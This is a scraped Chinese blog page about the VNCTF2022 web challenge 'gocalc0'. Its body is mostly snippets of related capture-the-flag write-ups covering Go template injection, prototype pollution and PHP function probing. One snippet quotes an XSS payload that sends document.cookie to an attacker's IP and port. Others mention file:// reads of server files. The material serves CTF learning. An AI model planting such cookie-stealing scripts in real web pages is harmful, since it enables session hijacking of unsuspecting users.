VNCTF2022公开赛 Web gocalc0

最新推荐文章于 2022-06-10 07:45:00 发布
原创 最新推荐文章于 2022-06-10 07:45:00 发布 · 789 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web #经验分享 #unctf

粗心大意要不得

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

VNCTF2022公开赛-misc-仔细找找（复现）
ookami6497的博客
03-12 1249
放大发现里面大多数都是白点，而且还混有其他有颜色的点，前面地方能看出vn两个字母 参考这个大佬的博客说是要取出所有的杂色点 大佬的代码 from PIL import Image img = Image.open(r'g:\share\20220212\flag.png') w, h = img.size res = Image.new('RGB', (w//50, h//31), 255) for x in range(w): for y in range(h): ...
[VNCFT2021]gocalc0复现
HBohan的博客
04-10 1268
[VNCFT2021]gocalc0复现 这道题当时出了非预期，session两次base64就能getflag，但是这道题本身的考点是Golang SSTI 正好复盘学习一下 打开题目能看到经典计算器 点开flag在这里发现只有短短一行提示 flag is in your session 这里按照非预期接还是能够拿到flag 但是我们要看一下具体按照预期方法怎么能拿到flag https://www.jianshu.com/p/e0ffb76ba7e9 【查看相关资料】 1、网络安全学习路
[BUUCTF][VNCTF2022公开赛]web wp
cosmoslin的博客
02-14 2762
GameV4.0 base64解码即可 newcalc0 镜像为node:lts-alpine，package.json全部为最新包 const express = require("express"); const path = require("path"); const vm2 = require("vm2"); const app = express(); app.use(express.urlencoded({ extended: true })); app.use(express.json(
VNCTF2022公开赛
shinygod的博客
03-15 561
gocalc0 00x1预期解 点击 把session拿去解码一下（末尾有==base64解码一下） 两次编码就出来了（本来我以为） 00x2非预期解 import ( _ "embed" "fmt" "os" "reflect" "strings" "text/template" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gi
VNCTF2022公开赛--web
q1415500189的博客
02-24 4301
VNCTF2022公开赛--web
VNCTF2022 WriteUp
mumuzi的博客
02-13 3501
VNCTF2022
[VNCTF2022]部分wp
Huamang的博客
02-23 784
VNCTF2022
[VNCTF 2022]ezmath wp
bestkasscn的博客
02-28 912
[VNCTF 2022]ezmath wp 一个sha256爆破+一个数学问题，可以去百度一下，得到答案就是num * 4,但是查看源码可以发现要提交777次答案，所以只能写脚本来解决，这类交互题一般是去nc服务器，也可以使用python中的第三方库pwntools。 exp from hashlib import sha256 import random from pwn import * import string # 创建由大小写字母和数字组成的字典 dir = string.ascii_lette
VNCTF2022 [WEB]
weixin_43610673的博客
02-16 1024
GameV4.0 flag在data.js源码中 base64解码即可 gocalc0 随便发点payload测试下发现返回的session解码就有flag了 预期解：https://blog.youkuaiyun.com/cosmoslin/article/details/122930836 newcalc0 使得Object.prototype这条件达成即可获取flag 猜测原型链污染 这里还有console.log 使用cve-2022-21824 console.table([{x:1}], ["__pr
Gocalc:Go上的简单计算器！
04-07
Gocalc Go中的简单计算器！ 安装 go get github.com/Rollylni/Gocalc 例子 package example import ( "fmt" gocalc "github.com/Rollylni/Gocalc" ) func calc ( input string ) { calc := gocalc . NewCalculator ( input ) res , err := calc . Process () if err != nil { fmt . Println ( err ) } else { fmt . Println ( res ) } } func main () { calc ("2 + 2 * 2) c
[VNCTF 2022] easyjava
Sentiment的博客
06-10 2208
提示传参随便传个参数后，发现是Tomcat框架的直接读文件 web.xml没啥信息 后来发现有个classes目录 file协议读取文件即可（JDK 9之前，也可以用协议），读取后进行反编译，最开始用的jd-gui，结果有一个地方反编译有点小差错还是用在线工具吧。JAVA反向工程网 (javare.cn)反编译好后先看下的doGet函数 这里的方法就是检测传入的参数值是不是vnctf2022 所以这里如果想得到key就需要name传参vnctf2022，但传参后又会执行if中的语句，if和else中的语句相
VNCTF2022的wp
sln_1550的博客
02-14 1342
排名第6，逆向没有AK，差一题（要不然就第二了），不过发现自己的不足也算是有进步。 CRYPTO: ezmath n取到直接乘4返回即可 MISC 问卷 略 仔细找找 图片中有间隔几乎相等的杂色点，写脚本取出： from PIL import Image img = Image.open(r'g:\share\20220212\flag.png') w, h = img.size res = Image.new('RGB', (w//50, h//31), 255) for x in range(w)
VNCTF2022 web wp
热门推荐
Je3Z的博客
02-13 2万+
GameV4.0 js/data.js下有段FLAG的base64加密 Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA== 解码就行 VNCTF{Welcome_to_VNCTF2022} gocalc0 是个xss，没有过滤，前几次一直不行，session解密木得flag，不知道最后怎么又可以了，www <script>window.open('http://ip:7777/'+document.cookie)</script> 然后把ses
VNCTF 2022 wp web
weixin_51458899的博客
02-20 892
vnctf InterestingPHP 看见一个rce，第一时间想到蚁剑利用 发现phpinfo不行 ?exp=print_r(ini_get_all()); 也可以输出配置信息 收集到的disabled_function include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_so
VNCTF2022 web全复现
Pysnow's Blog
04-07 3263
web 文章目录webGameV4.0gocalc0easyJ4va信息收集获取key反序列化newcalc0非预期PoC 1PoC 2预期解InterestingPHP解法一解法二 GameV4.0 前端小游戏题，直接想到查看js源代码 在data.js文件中搜索到了关键词flag，且后面附着着一个base64编码的字符串，解码试试 得到flag，再将其url解码一下就行 VNCTF{Welcome_to_VNCTF2022} gocalc0 go语言的ssti，传入{{.}}指向当前的类，类似于
vnctf2022复现
Biodog的博客
05-28 600
eazyjava file协议读url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes 有用的class //HelloWorldServlet.class package servlet; import entity.User; import java.io.IOException; import java.util.Base64; import java.util.Base64.Decoder; import javax.servlet.
VNctf2022 web
qq_50589021的博客
02-21 4097
VNctf2022 [InterestingPHP]复现 发现 phpinfo() 被ban，但是依旧可以通过 ini_get_all() 来读取php相关的配置信息，包括 disable_functions/disable_class/open_basedir 等信息都是⽐较重要的。 var_dump(get_cfg_var(%27disable_functions%27)); //这个在本题目不可用 exp=print_r(ini_get_all()); 使⽤ scandir() 来探测⽬录⽂件发现存
2022西电抗疫CTF个人赛
k0414的博客
01-07 3958
2022西电抗疫CTF个人赛 详细写了下crypto的wp，其余方向简略给出思路或脚本 文章目录2022西电抗疫CTF个人赛CRYPTO1.做个核酸签个到2.Random?Secure?Algorithm?3.fight_against_covid4.AweSomeSha3!5.BOB的健康码5.1 BOB的健康码15.2 BOB的健康码25.3 BOB的健康码3MISC1-6WEB1-6PWN1-34.Collision5.scripts6.formatstringREVERSE1.the edge2.b
vnctf 2024pwn
最新发布
02-10
### 关于 vnctf 2024 Pwn 比赛的信息 对于寻找特定竞赛如 vnctf 2024 pwn 的信息，通常这类赛事会通过官方渠道发布详细的参赛指南、规则说明以及提供必要的资源链接。具体到 vnctf 2024 pwn 比赛，可以关注以下几个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值